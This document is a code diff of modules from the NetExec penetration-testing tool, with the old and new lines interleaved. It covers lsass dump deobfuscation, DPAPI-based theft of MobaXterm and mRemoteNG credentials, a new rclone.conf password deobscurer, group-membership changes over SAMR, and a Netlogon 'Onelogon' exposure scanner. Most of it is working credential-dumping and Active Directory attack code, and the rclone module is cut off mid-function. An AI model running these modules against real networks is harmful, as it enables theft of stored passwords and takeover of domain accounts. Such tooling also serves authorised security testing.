if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
self.context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -123,22 +125,32 @@ class NXCModule:
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
context.log.success(f"Privileges extracted from {path}:")
self.context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
@@ -159,101 +171,64 @@ class NXCModule:
return privileges
def initialize_ldap_connection(self, context, connection):
def initialize_ldap_connection(self, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
ldap_connection = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
def resolve_sid(self, sid, ldap_connection, base_dn):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
if ldap_connection:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
return sid
+8 -11
View File
@@ -126,20 +126,17 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
+1 -1
View File
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+9 -8
View File
@@ -4,10 +4,10 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -22,12 +22,13 @@ class NXCModule:
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
if output_value:
output_lines.append(str(output_value))
if output_lines:
+7 -35
View File
@@ -1,62 +1,34 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+4 -31
View File
@@ -1,8 +1,8 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import samr
from nxc.helpers.rpc import NXCRPCConnection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
@@ -49,7 +49,7 @@ class NXCModule:
self.remove = module_options.get("REMOVE", "False").lower() == "true"
if not (self.target_user and self.group):
self.context.log.fail("USER and GROUP parameters are required!")
context.log.fail("USER and GROUP parameters are required!")
sys.exit(1)
def on_login(self, context, connection):
@@ -61,36 +61,9 @@ class NXCModule:
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _authenticate_dce(self, protocol="ncacn_np", interface=samr.MSRPC_UUID_SAMR):
"""Authenticate to the target using DCE/RPC"""
try:
# Map to the endpoint on the target
string_binding = epm.hept_map(self.connection.host, interface, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(self.connection.host)
rpctransport.set_credentials(
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
aesKey=self.connection.aesKey,
)
self.context.log.info(f"Connecting as {self.connection.domain}\\{self.connection.username}")
# Connect to the DCE/RPC endpoint and bind to the service
dce = rpctransport.get_dce_rpc()
dce.connect()
self.context.log.info("Successfully connected to DCE/RPC")
dce.bind(interface)
self.context.log.info(f"Successfully bound to {interface}")
return dce
except DCERPCException as e:
self.context.log.fail(f"DCE/RPC Exception: {e!s}")
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = self._authenticate_dce()
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
if not dce:
return
+12 -52
View File
@@ -1,12 +1,10 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -25,7 +23,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -42,6 +40,7 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -68,70 +67,31 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
users = self.dploot_conn.list_users()
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
# Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
content = self.dploot_conn.read_file(share=self.share, path=user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -152,7 +112,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
def parse_xml_nodes(self, main):
nodes = []
@@ -166,7 +126,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
directory_list = conn.list_dir(share=self.share, path=directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -178,7 +138,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
content = conn.read_file(share=self.share, path=new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+1 -1
View File
@@ -446,7 +446,7 @@ class NXCModule:
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin != "NULL" and int(is_admin):
if is_admin is not None and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
+2 -2
View File
@@ -519,10 +519,10 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
+1 -1
View File
@@ -10,7 +10,7 @@ class NXCModule:
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
description = "[REMOVED] This module has been integrated into the enum_cve module."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
+85
View File
@@ -0,0 +1,85 @@
from nxc.helpers.misc import CATEGORY
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.smbconnection import SessionError
from configparser import ConfigParser
class NXCModule:
"""Module by @NeffIsBack
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
"""
name = "onelogon"
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
def output_callback(data):
self.gpo_data += data
found_dacls = []
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
for policy in policies:
# Skip "." and ".." directory pointers to avoid path errors
if policy.get_longname() in [".", ".."]:
continue
try:
self.gpo_data = b""
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
try:
decoded_data = self.gpo_data.decode("utf-8")
except UnicodeDecodeError:
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
decoded_data = self.gpo_data.decode("utf-16")
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
# "WinRM",2,""
# which require allow_no_value=True to avoid ParsingError.
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
config_parser.read_string(decoded_data)
for section in config_parser.sections():
for key, value in config_parser.items(section):
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
context.log.debug(f"Found vulnerable channel allow list: {value}")
try:
# Strip the surrounding double quotes from the extracted string
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
except Exception as e:
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
except SessionError as e:
# Catch and safely ignore expected "file not found" errors for policies without security settings
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
pass
else:
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
except Exception as e:
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
if found_dacls:
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
for dacl in found_dacls:
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
else:
context.log.error("No matching policies found in SYSVOL Share.")
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
except Exception as e:
context.log.error(f"Error while querying registry: {e}")
+12 -31
View File
@@ -1,10 +1,11 @@
import re
from impacket.dcerpc.v5 import samr, tsch, transport
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -39,36 +40,19 @@ class NXCModule:
context.log.fail(str(e))
context.log.debug(traceback.format_exc())
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
# Create a DCE/RPC transport object with the specified string binding
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(target)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
return NXCRPCConnection(connection).connect(
named_pipe,
dce_binding,
target_ip=target_ip,
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
# Connect to the DCE/RPC endpoint
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(dce_binding)
return dce
def enumerate_admin_users(self, context, connection):
admin_users = []
try:
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
except Exception as e:
context.log.fail(f"Failed to connect to SAMR: {e}")
context.log.debug(traceback.format_exc())
@@ -174,9 +158,7 @@ class NXCModule:
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
try:
target = connection.remoteName if connection.kerberos else connection.host
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
# Also extract non admins where we can get the password
self.non_admins = []
@@ -200,8 +182,7 @@ class NXCModule:
non_admin_sids.add(sid.group(1))
if non_admin_sids:
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
# Get Domain Handle
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
+4 -36
View File
@@ -1,17 +1,13 @@
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5 import rprn
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class NXCModule:
"""
@@ -27,7 +23,6 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.__string_binding = None
self.port = None
def options(self, context, module_options):
@@ -37,35 +32,8 @@ class NXCModule:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail(f"Failed to bind: {e}")
return False
+1 -1
View File
@@ -8,7 +8,7 @@ class NXCModule:
Module by @_sandw1ch
"""
name = "pso"
description = "Module to get the Fine Grained Password Policy/PSOs"
description = "[REMOVED] This module moved to the core option --pso"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
+88
View File
@@ -0,0 +1,88 @@
import base64
from Crypto.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "rclone"
description = "Searches for rclone.conf and deobscures credentials"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No module options."""
def on_admin_login(self, context, connection):
self.share = "C$"
base_dir = "\\Users"
skip_dirs = {"Public", "Default", "Default User", "All Users"}
try:
entries = connection.conn.listPath(self.share, base_dir + "\\*")
except Exception as e:
context.log.fail(f"Failed to list {base_dir}: {e}")
return False
usernames = [
entry.get_longname()
for entry in entries
if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."}
]
if not usernames:
context.log.warning("No user directories found.")
return False
for username in usernames:
conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf"
context.log.info(f"Trying to read: {self.share + conf_path}")
conf_data = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, conf_path, buf.write)
conf_data = buf.getvalue().decode()
except Exception:
context.log.info(f"[{username}] rclone.conf not found.")
continue
if "RCLONE_ENCRYPT_V0" in conf_data:
context.log.fail(f"[{username}] Encrypted config — skipping.")
continue
context.log.success(f"[{username}] rclone.conf found!")
for line in conf_data.splitlines():
line = line.strip()
if not line:
continue
if "=" not in line:
context.log.highlight(line.strip())
continue
key, val = map(str.strip, line.split("=", 1))
if key.lower() in ("pass", "password", "password2"):
try:
plain = self.deobscure(val)
context.log.highlight(f"{key} = {plain}")
except Exception as e:
context.log.warning(f"[{username}] Failed to deobscure {key}: {e}")
else:
context.log.highlight(line.strip())
return True
def deobscure(self, obscured):
encrypted_password = self.base64_urlsafedecode(obscured)
iv = encrypted_password[:AES.block_size]
buf = encrypted_password[AES.block_size:]
